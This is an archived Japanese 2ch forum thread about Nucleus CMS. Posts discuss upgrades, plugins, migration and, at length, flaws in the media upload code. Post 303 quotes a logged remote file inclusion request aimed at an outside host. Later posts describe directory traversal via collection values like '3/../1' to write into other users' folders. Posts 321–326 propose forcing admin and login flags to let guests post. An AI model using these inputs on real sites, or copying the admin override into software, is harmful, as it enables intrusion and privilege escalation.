Nucleus CMS part6 【ニュークリアス】at BLOG
Nucleus CMS part6 【ニュークリアス】 - 暇つぶし2ch300:Trackback(774)
08/11/22 21:07:43 vMqsVIhr
構造的に解決は難しいでしょう。
今のコアメンバーは現構造に不満はないんだろうし、仮に啓蒙したところで、
システム構造を最適化しようと思ったら新しいCMSを作るようなもの

リファクタリングでどんどん刷新していく開発手法もあれば、
動いてるものは触るなの運用重視という考えもある。
Nucは後者でいいんじゃないのか?

301:Trackback(774)
08/11/26 07:54:24 pGAt8DvE
静かになった・・・

302:Trackback(774)
08/11/26 09:05:35 6/F90HbS
両極端がぶつかってただけで、普通の人間にとっちゃどうでもいい話

303:Trackback(774)
08/12/02 19:22:28 vXHUknTh
apache のログを tail -f で見ていたら気付いたんですが、
なんか韓国屋さんからこんな要求が来るんですけど
"GET /blog/nucleus/libs/PLUGINADMIN.php?GLOBALS[DIR_LIBS]=URLリンク(atelierpierrevilar.net) HTTP/1.1"
これ、なんですかね?
何をしようとしているんでしょうか?

304:Trackback(774)
08/12/02 20:11:20 QDa06p6U
tail -fじゃなくてもcatでもなんでもいいと思うけど。
register_globals=onな環境に対するコードインジェクション攻撃でしょう。
最新版なら無害


305:Trackback(774)
08/12/03 01:18:58 VSFh9Iip
>>304
どうもです。
ええと、自分が使っているやつは管理画面に 3.3 と出ていて、
バージョン番号をクリックすると、本家サイトに飛ばされ
3.33 が最新だから更新しろって言われます。
しかし日本語サイトだと 3.31 SP1 がどうとか書かれています。
私がインストールしたヤツは nucleus3.3_ja_utf8.zip というやつのはずなんですけど、
バージョン番号の小数点第2位はどうなっているんでしょうか?

306:Trackback(774)
08/12/03 08:03:46 SKTmaENH
そういうことはフォーラムで聞こう

307:Trackback(774)
08/12/04 09:49:19 GP3956V6
wikiのロードマップ見ると、UnitTestがNucleus3.3に含まれる予定になってるけど、
テストって配布物には入ってないよね?
見落としでしょうか。

308:Trackback(774)
08/12/07 06:50:39 R8uiN0oE
ブログというよりは、企業サイトを作るときに、
これがあれば色々できる幅が広がって便利ですよ系のプラグインは、
どこかでまとまってませんか?

ググってみたけど、1年くらい前のネタしかありませんでした

309:Trackback(774)
08/12/07 09:00:20 B576iJMR
ブログツールで企業サイト作るって、

310:Trackback(774)
08/12/07 09:06:50 nkpA9y6e
素敵

311:Trackback(774)
08/12/07 09:29:31 6/9NTGG0
個人事業ならいいかもしれないけど。それでも今からならWordPress。
Nucleusも嫌いじゃないけど、趣味で乗る小さなクルマみたいな扱いになってきた

312:Trackback(774)
08/12/07 09:32:48 B576iJMR
企業サイトにWordPress? Nucleusの方がマシじゃね?
おれなら、別のCMSらしいCMS使う。(Joomla!とか)
使ったことないけど、Concreate5ってどうなんだろう、

313:Trackback(774)
08/12/07 09:34:18 B576iJMR
↑typo: concrete5
URLリンク(www.concrete5.org)

314:Trackback(774)
08/12/07 09:37:51 nkpA9y6e
ニーズによるし、スレチ

315:Trackback(774)
08/12/07 17:35:53 R8uiN0oE
>>311
各ナビゲーションで、コメントありなしなど、設定できない気がするんだけど
WordPressはできるようになってるのかな・・・

そういった切り替えができて、管理画面は統一されていて、、、
ってできない気がして、Nucイッポンで勝負してきたもので。


>>312
> 企業サイトにWordPress? Nucleusの方がマシじゃね?
> おれなら、別のCMSらしいCMS使う。(Joomla!とか)
> 使ったことないけど、Concreate5ってどうなんだろう、

Joomlaもいいし、使ってるけど、
予算面で落ちることが多くて。

シンプルなNucは、その点がいいわけです。

あ、申し遅れました。ウェブ屋やってます。


316:Trackback(774)
08/12/07 18:19:42 B576iJMR
ウェブ屋・・・まぁ、プロなら言うことないわ。
顧客は納期重視だし、最小限のコストでとか言いやがるしな。

317:Trackback(774)
08/12/07 23:46:57 Za545ZDB
ふと思い立って今日からNucleusをいじりはじめた。
オリジナルスキンの制作が楽でいいね。

ところでNP_Paintを使って、お絵描き掲示板の代用をさせたいが、
基本的にお絵描きブログとしてしか使えないから、ログインしないと
投稿ができない。セキュリティ上問題があるのは承知で、ログイン
しなくても投稿できるようにならないかな。

とりあえずログインしなくてもフォームやアプレットが表示されるように
NP_Paint.phpをいじったが、最終投稿はNucleusのコア機能なので
ログインしていなければ当然ここでリジェクトされる。
ゲストでも投稿させるようにしたいんだが、Nuc_BBを参考に
コア部分を改造しないとだめかな。

なぜこんなことをしたいかというと、同人サイト向けのお絵描き掲示板が
古いPerl CGIのものしかなく、メンテナンス性や拡張性が悪いから。

318:Trackback(774)
08/12/08 00:14:49 okHsoqsM
NucBBを参考にプラグインをいじればいんじゃね?
確か投稿用の疑似メンバーを作ってるんじゃなかったっけ。

てゆーか、ホントに今日からいじり始めたの?
えらい理解が早いな。

319:317
08/12/08 00:59:16 TWCpMvSX
>>318
宅内テストサーバへのインスコは何ヶ月も前にしたけど
インスコ直後のまま今日まで完全放置プレイしてたw

NucBBのソースを見てるけど、プラグイン作れるだけの
知識が全くないし(APIとか)、まだ俺には無理っぽい。
NucBBUserという疑似ユーザーを使ってるみたいね。

こういう掲示板を:
URLリンク(up2.viploader.net)
Nucleusを使って、こういう感じにしたいわけなんだけども:
URLリンク(up2.viploader.net)
(絵のヘタさは、この際おいておくことにしてw)

320:Trackback(774)
08/12/08 04:03:52 05Y/S2Rx
>>319
突っ込むところは画の上手下手ではなく内容だ

321:Trackback(774)
08/12/08 04:31:15 Iiq00mY/
プラグインのinit関数の冒頭でglobal $member;$member->admin = 1
って書けばたぶんOK

322:Trackback(774)
08/12/08 11:26:45 sOWsYPpY
321の解決方法は危険。良い子はまねしないように。

323:Trackback(774)
08/12/08 11:49:43 Iiq00mY/
あ、ご指摘ありがとう。セミコロンが抜けてるね。
最後にセミコロンをつけたほうがいいです。

324:Trackback(774)
08/12/08 14:36:35 e2gTwD0f
プラグイン見てると、たまに見かけるんだけどね、
クラスやオブジェクトで明示的にpublic指定していないメンバー変数に
外部から直接書き込みアクセスするって、ありえねぇ~よ。
グローバル変数も一緒。そういう破廉恥な真似はやめたほうがいい。
php4だとpublic、privateの区別はないから、基本privateって見るべき。

で、本題だけど、このほうがいいよ
global $member; $member->setAdmin(1);


325:Trackback(774)
08/12/08 17:06:49 sOWsYPpY
ぁ。そういうことじゃなくて、initでこれをやるのが危険。
やるんなら、「最終投稿はNucleusのコア機能なのでログインしていなければ当然ここでリジェクトされる。 」
この処理をピックアップして、その直前で、だな。

326:Trackback(774)
08/12/08 17:44:41 Iiq00mY/
あぁ、確かに。それに、adminにするだけじゃだめだな。
元質問者はログインしなくてもって書いてるから・・・ログイン許可も追加しないと。
NP_Paintで$member->isLoggedIn()みたいな行を探してその前あたりに追加か。
global $member; $member->loggedin = 1;$member->admin=1;

327:317
08/12/08 17:59:15 gJMh58pB
レスどうもです。
member->setAdmin(1)を試してみたけど、Error500になりますた。
initや投稿ポイントのところにも設定してみたんですけど。
Error500になるところをコメントアウトすると、Nucleusのページに戻り、
「Error!あなたはこのBlogのチームリストに含まれていません」
と表示されます。

もうちょっと自分なりに試行錯誤してみます。

328:Trackback(774)
08/12/08 20:13:32 Iiq00mY/
Error500になるところと、どう修正したかがわかればそれなりに答えは出るとおもうけど
せっかくだから、自分でいろいろやってみてちょ。

329:Trackback(774)
08/12/10 00:06:01 IAerGtWI
話しぶったぎってすんません。
先月nucleus導入したものですが、プラグインを取得しようとフォーラムへ。
ログインしないとDLできないものもあります。
そんでフォーラム登録しました。アクティベーションメールも受信⇒承認成功。
なんどやってもログインできません。アカウントもう一つ作りました。
でもログインが成功しません。

FAQに
>正しいメールアドレスを入力したにも関わらず登録できない場合は、掲示板の管理者に問い合わせてください。
連絡先がみあたらないので、アクティベーションのメールに返信してみました。
1日たってもなんにもないので2chにたどり着きました。
だれか助言を。

330:Trackback(774)
08/12/10 00:10:34 IAerGtWI
↑自己解決しました。
でもなんでだ・・

331:Trackback(774)
08/12/10 07:35:07 vkVTjhKO
NucleusのPHP5版って出るのかね?
お蔵入りかな。

332:Trackback(774)
08/12/10 11:37:56 0F2uTQmp
>>331
> NucleusのPHP5版って出るのかね?
今でもPHP5で動くと思うけど、違うの?

333:Trackback(774)
08/12/10 11:43:23 vkVTjhKO
PHP5で動くのはいいんですけど、
Nucleus5ってPHP5用に開発中?
だったような気がしたので期待してるんですが・・・


334:Trackback(774)
08/12/10 11:55:56 LXzS0hWl
ヌクロイスフンフ

335:Trackback(774)
08/12/10 21:08:15 N+CViQT8
スキンのカスタマイズなんですが、

URLリンク(nucleus.susto.jp)
このスキンで、
ヘッダーの部分を変えようと思ってるのですが、
画像ファイル自体を開くと、
普通に表示(等倍の大きさ)されますが、
それをサーバに載せて、
そのスキンでブログを見てみると、
画像が倍(以上)の大きさになって表示されてるようです。

CSSでbackground:で指定するとき、
画像を拡大する方法なんてあるんでしょうか?
どうやったらこの拡大をしないようにするか教えてほしいです。


336:Trackback(774)
08/12/10 21:17:17 vkVTjhKO
これはまた、Nucにこじつけてるけど、聞きたいのはCSSの基本ダヨネ
内容的にスレチだが、この閑散なスレでそんな狭いこと言っても仕方がない

もう少し情報出したら?
わざわざ、そのURLを踏む気になれない。

337:Trackback(774)
08/12/10 22:21:50 N+CViQT8
>>336
レスありがとうございます。
このスキン諦めました。


338:Trackback(774)
08/12/11 00:10:00 4vI+kbog
どの画像かわからないからレスできないや

339:Trackback(774)
08/12/17 08:04:44 +S8WYrvD
アイテムの編集が終わってから、戻るボタンでフォームを表示しても保存できない?よね。

340:Trackback(774)
08/12/26 14:10:15 PePyYZ5Q
ImageManagerっていいですね
WYSIWYGと連動させたら、すごく良い感じになりました

341:Trackback(774)
08/12/26 14:12:50 Ohs2Fq8Z
セキュリティ的にも問題あるし、画像編集とか、イラネ

342:Trackback(774)
08/12/26 17:07:31 bZgXUaWz
どこに問題があるのか分かっていながら、ただ愚痴るだけで、
頼まれない限りは決して指摘も訂正もしようとしない >>341 は、
間違いなくツンデレか、さもなければヒキオタニート。

343:Trackback(774)
08/12/26 17:14:49 Ohs2Fq8Z
ほう・・・こんな疑似餌にかかる椰子がいるとはね。
341みたいのにわざわざ書くのは珍しいってことか?

どこに問題があるかわかってて黙ってる連中が相当数いるってことは知ってる。

344:Trackback(774)
08/12/26 18:40:13 1SalFQ/o
黙るも何も、
URLリンク(japan.nucleuscms.org)
のことじゃないの?

345:Trackback(774)
08/12/26 19:36:36 emEstFjx
黙ってるのに相当数いることがわかっちゃうなんてあいかわらずのスーパーエスパーですね

346:Trackback(774)
08/12/26 20:38:17 Ohs2Fq8Z
>>344
へぇ、その話整理されてきたんだね。
フォーラムに提示されてたとは知らなかった。よかったね。

>>345
俺はエスパーだけどスーパーが付毛てもらったのは初めてだ。サンクス。
存在しないものも存在しているかのように話する、それがエスパー

おれが直接何人かと交信したという事実があるから書いたんだけどね。

ところで、「黙ってる」って日本語、声に出さないって意味だけだと思う?
情報を知ってるけど、公にしないことも「黙ってる」って言うんだよ。
>>344のような情報が数年前から言われていたけど、誰も明確にしてこなかった。
ようやく整理された。そのことだけでも、黙ってる奴が相当いる傍証。

347:Trackback(774)
08/12/26 20:40:46 Ohs2Fq8Z
あと、ついでなんで追加しとくと、
>>344に整理されてる内容、不十分だけどね。
変更できるし。アップ出来るし。

348:Trackback(774)
08/12/26 20:47:21 Ohs2Fq8Z
連投ごめん、修正しとく。>>346-347はガセです。面倒だし、誤字満載だし

349:Trackback(774)
08/12/27 08:57:35 hKixnEWN
また萎えたか?w

350:Trackback(774)
08/12/27 09:09:54 reJC3DUH
まぁ、そんなところ。
早漏なの

351:Trackback(774)
08/12/27 23:48:02 aB/65/0Y
>>344
その記事、コアのmedia.php使ってると、任意の書き込み可能なディレクトリにアップできたりとか、
サーバー内探索とかできちゃうのって、書いてないよね。なんでだろ。
そんで、レンサバによっては、任意のphpスクリプトが実行できちゃったりするのも。

あれ、でも、あれだけ自信満々に書いてるってことは、ガセなのかな。

352:Trackback(774)
08/12/27 23:55:52 reJC3DUH
けち付ける
クイズ出す
ちっと荒れる
逃げる

いつものパターン・・・

スルーでよろしく

353:Trackback(774)
08/12/28 12:28:45 WINX8fOR
ImageManager

354:Trackback(774)
08/12/28 12:29:41 WINX8fOR
実際のところ
ImageManager、media-tocu、media.php
の三択なんですか?

そして、ImageManagerはメンテ不在ということ?

355:Trackback(774)
08/12/28 14:08:20 GvW2KQVl
他にもあるよ

356:Trackback(774)
08/12/29 03:00:03 EYieNkwz
他はないよ


357:Trackback(774)
08/12/29 03:04:19 Tc90CmQY
NP_ImprovedMedia

358:Trackback(774)
08/12/29 03:05:47 Tc90CmQY
NP_WindowsMediaVideo

359:Trackback(774)
08/12/29 03:06:23 Tc90CmQY
NP_WYSIWYG_RTE

360:Trackback(774)
08/12/29 03:07:32 Tc90CmQY
ibrowser for nuc

361:Trackback(774)
08/12/29 03:19:08 EK5Igw9q
sp3のMEDIA.php見た。
これ見て、誰も疑問に思わないのかね。

362:Trackback(774)
08/12/29 03:22:18 Tc90CmQY
なんにでも疑問を持ってたらきりがないさ。
とりあえず動けばいいだろ

363:Trackback(774)
08/12/29 10:46:52 l9ptz4h6
サイバーノーガード戦法ってやつですね。

364:Trackback(774)
08/12/29 11:01:16 Tc90CmQY
いつものパターン・・・

スルーでよろしく

365:Trackback(774)
08/12/29 11:40:09 7A3prYoY
サイバークロスカウンターってやつですね。

366:Trackback(774)
08/12/29 11:58:36 EK5Igw9q
>>351
> コアのmedia.php使ってると、任意の書き込み可能なディレクトリにアップできたりとか、

それって、旧版のmedia.phpとMEDIA.phpのセットですよね。
3.31sp3では 「実在する他ユーザーのディレクトリにアップできる」
って仕様に変わったのかもしれませんね。
アナウンスがないのが微妙ですけど。

367:Trackback(774)
08/12/29 12:08:33 Tc90CmQY
自演乙

368:Trackback(774)
08/12/29 20:35:06 l36i87x9
自演かどうかなんて、はっきり言ってどうでもいい。事実なのか釣りなのか、それはどうなの?
sp3以前のMEDIAクラスのisValidColletionは、テキトウな作りで、穴があった。
フォームの値をちょっといじって、collectionに 3/../1 とか(正確には覚えてないけど)
を指定すれば簡単に別のユーザーのフォルダにアップできたのは確認したことがある。
黙ってたわけじゃなくて、内部のことはよくわからなかったってだけだが

で、それは修正されたとみていいんだろうか・・・

369:Trackback(774)
08/12/29 20:35:47 Sl/fX2bz
Nucを多人数で利用するのが危険てことは知ってる上で、
一番使いやすい画像管理はどれ?人気はどれ?

370:Trackback(774)
08/12/29 20:50:11 Tc90CmQY
>>369
そんなにたくさんあるわけじゃないんだから、
こんなとこで聞くより試した方がはやいんじゃね?
基本機能だけでいいかとか、ディレクトリ作りたいとか、目的によって違うわけだし。

ただ、フォーラムでサムネールがどうとかいうコメントをちらほら見かけるから
フォーラムで検索したらいいかもよ?

371:Trackback(774)
08/12/29 21:52:57 EK5Igw9q
他人様のソースにけち付けるつもりはないんだけどね。
結果としてそうなっちゃうんだよな・・・でも、どうみても悪い見本だと思う。

372:Trackback(774)
08/12/30 05:49:18 tSh3iF4g
kwsk

373:Trackback(774)
08/12/30 08:17:13 EcCnu6Zn
URLリンク(svn.sourceforge.jp)

これはやっちゃいけないっていうコードが5か所以上埋め込まれ、
結果として、仕様に反するデグレが2要素。セキュリティリスクは残存。
拡張性を排除し、将来の変更を難しくし、分散されたコードへの依存が増している。
唯一評価できるのは、 || が &&になったところだけ。
いろんなソース見てきたけど、これは近年まれにみる凶相だわ。

初心者でも開発に参加できるのはいいけど、コミッターはコミットする前にチェックしようよ。

374:Trackback(774)
08/12/30 10:22:33 tSh3iF4g
ここでやってもアレだから、ID作ってフォーラムにレスしたらどう?

375:Trackback(774)
08/12/30 10:49:23 lVz7sZPE
>>373
チェックした上でその状況なんだろ。
開発陣をバカにしつつ生ぬるく見守るか、気付いた範囲で意見を書いて送るか。
関わるのは面倒だから前者?

376:Trackback(774)
08/12/30 15:37:43 RfXlKBep
見た。うん。酷いねこれは。
改善してるつもりが改悪になってるときに、それを誰が言いだせるか、
言いだせないのが今の現状ってことだな。おれは遠慮しとく。
みんなダンマリでいいんじゃね?それがサイバーノーガード戦法

377:114 orz
08/12/30 16:48:17 u9Fya7zX
>>373
で、具体的にどういうコードだったら改善になるの?

378:Trackback(774)
08/12/30 17:14:11 A6rgM7OJ
373じゃないんだけど、答えていいかな。

たとえば、sp3のソースで
// allow creating new private directory
if (preg_match('#^[0-9]+[/\\\\]?$#',$collectionName))
return ((int)$member->getID() == (int)$collectionName);
これは、明らかなデグレだから、元のMEDIA.phpの実装を冒頭に持ってくる

// private collections only accept uploads from their owners
if (is_numeric($collectionName))
return ($member->getID() == $collectionName);

他にも、どっかペーストボードでもあれば気づいたところは書ける。


379:Trackback(774)
08/12/30 17:54:24 WqXjWxob
いや、だから、そういう風にソースを晒しちゃうと、問題の本質から離れると思うんだ。

その部分、デグレはデグレだろうけど、そうじゃねぇよって言えば言えてしまう。
脆弱性ってのは、よろしくない方法の積み重ねで発生するもんなんだけど、
そのよろしくない方法も局所的には問題なかったりするわけ。
だから、そういう部分を指摘するのはどうかな。と。

もう少し基礎的なこと(初歩じゃなくてね)を学ばないと。

380:Trackback(774)
08/12/30 18:39:11 A6rgM7OJ
>>379
MEDIA::addMediaObject内にこう書いてある
// add trailing slash (don't add it earlier since it causes mkdir to fail on some systems)
$mediadir .= '/';
つまり、collectionの末尾にはスラッシュが入っていたらinvalidであるべき。
というのが仕様なわけだ。
それが、sp3のソースだと、スラッシュが入っていても、validで返される。
これがデグレじゃなくてなんなんだよ。

381:Trackback(774)
08/12/30 20:27:06 tSh3iF4g
いつものパターン・・・

スルーでよろしく

382:Trackback(774)
08/12/30 20:47:27 dzbv+W2+
>>378
その部分、元に戻せばいいって主張かもしれないけど、それは不十分でしょ。
たとえば、sp3のソースでも元ソースでも、
メディアディレクトリに無限にフォルダを作成出来てしまう。

もう少しマシな例を書くなら
if (!is_string($collectionName)) return false;
// allow creating new private directory
if (is_numeric($collectionName))
return ( $collectionName === (string) $member->getID());

なんで、これがマシかっていうのを理解しないと、結局同じことを何度でも繰り返す。
穴があるなら塞げばいいっていう態度じゃ進歩しない。

その先の、ディレクトリトラバーサルの対応コードにも同じことが言える。

383:Trackback(774)
08/12/31 06:37:58 wZeU8yq5
>>382
確かにSP3のコードより、何がしたいのか分かりやすい。
まぁ自分が正規表現ちゃんと理解してないだけなんだが...

ところで、このコードがマシな理由としては他にどんな点がある?
速度とか?=== だからとか?
そのあたりも教えてほしいな

384:Trackback(774)
08/12/31 07:59:04 +Q9kCtCQ
>>383

> 確かにSP3のコードより、何がしたいのか分かりやすい。

これって、OSSでソースを書くときにとても重要なこと。
で、なんでそれが重要かというと、
・ソースが現実仕様の実態に沿って書かれていれば正確な動作をしやすい
・他人が読んでチェックしやすい
・新参の開発者に気に入ってもらえて、開発者が増える

その意味では、昔のNucleusはよかった。
最近のNucleusはだめ。
正規表現を使うのは、正規表現でないとわかりにくくなってしまう時だけにすべき。
俺も正規表現苦手だから、\の羅列を見てしばらく考えたからね。

385:Trackback(774)
08/12/31 08:32:27 +Q9kCtCQ
>>383
あ、聞きたいのはそこじゃなかったな。スマソ

現実的な効用というと、sp3のソースや元ソースでの問題点に言及しなきゃ
いかんわけだけど、これを書くと間違いなく、ブログ数ページ分になる。
そのぐらいかけないと、理解してもらうのは難しいんだけど。
俺は別に理解してもらいたいわけじゃないから、はしょって書くとする。
とはいえ、2chでは3行以上書いても読まれないらしいけどw

sp3:
return ((int)$member->getID() == (int)$collectionName);
//整数に変換して比較

オリジナル
return ($member->getID() == $collectionName);
//緩やかな比較

俺のソース
return ( $collectionName === (string) $member->getID());
//メンバーIDを表現する文字列と完全一致するか比較

比較するときは、基本的に、比較の中心側はいじっちゃだめ。
( 以前に騒ぎになったときも、intvalしてから比較してはまったのを
記憶してないか、教訓にできなかったってことだけれども。)
で、そういう基礎的なことを破ってしまうと問題の種が入る。
比較するときにキャストするってことは、キャストでこぼれおちる
「バリ」が「フィルタ」されてきれいな値で比較されてしまう。
これでは、バリデーターとして機能しないわけ。
何が言いたいかというと、たとえば、(int) "1.php" になる。
バリデータの中でそんなことをやってるものがあったら、そりゃ初心者コード
だわな。
ってことで、>>380の言うように、スラッシュを許容してしまったり、複数のフォルダを
育成できてしまったりといった、バグを埋め込んでしまったというのがsp3。


386:Trackback(774)
08/12/31 08:46:33 +Q9kCtCQ
3連投スマソ

でも、ムキになってsp3のソースを生かしたいという奴も出てくるかもね。
>>380の言ってるデグレを生まず、目先の問題を解消するだけなら
if (preg_match('#^[1-9][0-9]+$#',$collectionName))
という風に書き換えればいいって言うかもしれない。
でも、これがまずい理由はある。些細だけれども、他の仕様と絡めた作法の問題。
だから、↑になってる分には誰も文句は言わないだろう。失笑はあるかもしれんが。

387:Trackback(774)
08/12/31 08:49:13 +Q9kCtCQ
oops、正規表現ミスった。+じゃなくて?ね

388:Trackback(774)
08/12/31 09:58:01 wZeU8yq5
>>385
丁寧な説明ありがとー。よくわかった。
他の部分の問題点についても聞きたいんだけど、いい加減スレチ?

389:Trackback(774)
08/12/31 13:14:14 +Q9kCtCQ
スレチ?かどうか知らんが、>>380が指摘したデグレはなぜ起きたか。
それがわかれば、他の部分の問題点? そんなものは取るに足りない。

早い話、全然ダメ。
 何がどうだめか? そりゃ長くなるよw
2、3、例を出しとくと、realpath通したら仕様が制約される。
バリデータの中で引数に代入すんなよ、とか。
てかそもそもディレクトリトラバーサル対策ってそれ?みたいな。

でも、理由を知らなくていいなら、正しいコードは簡単。
getCollectionListで取得する配列のキーと照合すればいい。
もし、getCollectionListで取得できるキーの中にinvalidになるべきもの
が含まれるなら、それはgetCollectionListのバグもしくは仕様の不備。
1対1で照合できるべき。

390:Trackback(774)
08/12/31 16:11:55 K9+ABug9
>>366
> 3.31sp3では 「実在する他ユーザーのディレクトリにアップできる」
> って仕様に変わったのかもしれませんね。

これってまさか、仕様じゃないよね?皮肉だよね??

391:Trackback(774)
08/12/31 16:38:51 TiikAIsz
> てかそもそもディレクトリトラバーサル対策ってそれ?みたいな。

それはちょっと言い過ぎ
「ディレクトリトラバーサル php」 で検索するとそんな感じのコードが出てくるし。
がんばってコピペした感じが微笑ましいよ

392:Trackback(774)
08/12/31 20:00:12 +Q9kCtCQ
どうも、勘違いされてノイズが増えるのもツマランな。
俺は聞かれれば答えはするし、ダメなものはダメという。
しかし、何かの意図があるわけじゃない。
どんなプログラムを配布しても自由なんで、sp3、大いに結構なんではないかと。

393:114 orz
09/01/01 02:22:16 RgKMu6pC
>>389
realpath 通したら仕様が制約される、ってのはなぜ?

Nuc ってもともと collectionName って階層構造を持たない
フォルダって仕様なんだっけ?
もしそうならわざわざ realpath じゃなくて、basename 使って
チェックすればいいのかな?

う~ん、それだと結局仕様を限定することになるから一緒?

それとも strstr で .. が含まれてたらエラーにしたらいいのか?

まぁ確かにこの場合 getColllectionList 云々方式が簡単そうだ。

394:Trackback(774)
09/01/01 09:18:41 30ZGKnNG
> realpath 通したら仕様が制約される、ってのはなぜ?

理由1:symlinkを展開してしまう。
URLリンク(jp.php.net)

サーバ管理者にとってsymlinkを使って管理しやすくするというのは最も手軽な手段の一つ
symlinkで外部ディレクトリを利用できるようにするという管理方法が制限されてしまう。

理由2:不正な文字列でもinvalidにならない
collectionはシステムから提供される選択肢から選ばれるものであって
ユーザーの任意入力による自由なパラメーターではない。
「3/../3」は不正な文字列であってinvalidでなければならないが、
realpathを通すとvalidになる。

"対策コード"っていうと攻撃できなきゃいいじゃんって思うわけだよね。
だから、場当たり的なコードになって読みにくくなる。
正しく実装すれば防げるものであれば正しく実装すりゃいいじゃんっと思う。

395:Trackback(774)
09/01/01 10:31:38 9oUd2lik
URLリンク(japan.nucleuscms.org)
こんなこと書いてる暇あったら、とりあえずマニュアル読めとw

URLリンク(www.php.net)
URLリンク(www.php.net)
URLリンク(www.php.net)

396:Trackback(774)
09/01/01 11:27:43 9oUd2lik
NP_Mediatocのv1.1
相変わらず、他人のメディアを削除とかリネームとか可能なんだけど。
俺がちら見してわかるのに、作者以外はチェックしないってことなの?
てか、テストとか書かないのかな。

397:Trackback(774)
09/01/01 17:42:31 30ZGKnNG
それを報告しない理由はなに?(報告済みならゴメ)
俺の場合は、設計レベルの問題を解消しなきゃ意味ないから
細かい修正点をあげつらうのは自分に反するからなんだけど。

# まぁ、釣られれば書いちゃうんだけどね

398:Trackback(774)
09/01/02 05:36:28 jsFDLl+G
>>396
NP_Mediatocuね。
おれが見たところだと、
コアと同じようにメディアディレクトリ直下にゴミを量産できるってのはあるにしても、
そのほかは、不正な動きはできないような気がするけどどう?
どんなパラメーターで問題が生じるの?

実際にインスコしてみたら、うちの環境だとディレクトリ作れないから
正常動作してるとも言えないんだけど。
環境の問題かどうかチェックしてるところ。

399:Trackback(774)
09/01/02 09:21:16 zngzDZ5k
プッ
てか、コアでもNP_Mediatocでも、アップロード権限さえあれば全権とれるしww

400:Trackback(774)
09/01/02 10:18:43 jsFDLl+G
正月早々、草ww

> アップロード権限さえあれば全権とれるし

うちのサーバなら無理だと思うよ。
media.phpはCGIでSUEXEC実行させてユーザー毎に権限分けてるし
メディアディレクトリからのスクリプト実行ができないように設定してるから。

Nucleusで多人数用サービスを利用しているところでは、
この方法でセッティングしてあるところがいくつかある。
頼まれて俺がやっただけでも10件以上はやってる。
教えてやっただけのもあるし。
symlink使ってるから、今度のアップデートを使わないことを祈るよ。
継続サポート契約はしてないところがあるからね。

401:Trackback(774)
09/01/02 13:13:21 tg5q4j1S
何が起こっているのかよくわからない俺ガイル

402:Trackback(774)
09/01/02 13:16:04 7Q2xdVzj
>>399
要するにスクリプト実行できるってことだよね
>>400みたいにサーバー設定で回避するのが基本だけどへたれレンサバの場合は
自分でスクリプト改造するしかないかな。ファイル名チェックに制約を加えればいいはず
あ、でもディレクトリを悪用されるとだめか
鯖管なら基礎知識なんだけど、ほんとメディアはめんどい

403:Trackback(774)
09/01/02 13:52:16 gD1cO9me
あけおめ。
俺がNucleusを使い始めてから4年か・・・
当時はそこそにバージョンアップされてた(もう何回もアップデートした記憶がある)し、プラグインも豊富だったが、
今ではバージョンアップもずいぶんと前からされてないし、かつて人気を集めていたプラグインはいつのまにかWebの藻くずとして消え去り、時代もWordPress一色。

あぁ、なんでNucleusなんて選んじまったんだろう。

404:Trackback(774)
09/01/02 15:38:16 Nqups6eV
nucleusってそんな使いにくいか?
まぁ何をするかによるけど、ブログとサイトしか作ってない俺は不便してない。

405:Trackback(774)
09/01/02 15:39:43 k0uzUYjl
>>403
Nucを見限ったのだったら、MT形式で書き出してWordPressで
インポートすればいいじゃん。Drupalに移行したかったら、
WordPressでさらにナントカ固有形式で書き出し、
WpDrupalマイグレーションツールを使えばいい。

データが命なのであって、それを表現するCMSは乗り換え可能。
WordPressもDrupalも永続はせず、いずれまた他のCMSが台頭し
捨てられる運命にある。だから拘ることなんかないよ。

406:Trackback(774)
09/01/02 16:34:29 RcP6hUSS
MT形式でエクスポートしたいのはやまやまなんだけど、
薦められるがままに使ったプラグインで保存されてる
関連データが抽出できないんだよね。
それで塩漬けでいいやってことに。
つうわけで、アップグレードしないNucサイトが一つ。

407:Trackback(774)
09/01/02 16:52:09 3hk4V8ih
廃坑後の街にただよう亡霊 -セキュ厨- を退治、浄化せんとする死神開発者たち
初戦はバグ量産の末にあえなく敗退。今後を占う第2戦の行方はいかに。

408:Trackback(774)
09/01/02 19:15:44 C9ejSnHj
>>406
同意。
結局は、一番更新頻度が低いプラグインに引っ張られるわけで・・・。

更新頻度の高いor高そうな人気プラグインを使っておくのが
長い目でみてベターだと思ってるんだけど、みんなはどう?その場その場?

409:Trackback(774)
09/01/02 19:27:16 SbOfsPLW
更新頻度も人気も当てにはならないという歴史がある。
ワンマンで作られたものより、複数の人が手を入れてるものがいいと思う。

410:Trackback(774)
09/01/02 21:30:31 jsFDLl+G
亡霊かよ


最新レス表示
レスジャンプ
類似スレ一覧
スレッドの検索
話題のニュース
おまかせリスト
オプション
しおりを挟む
スレッドに書込
スレッドの一覧
暇つぶし2ch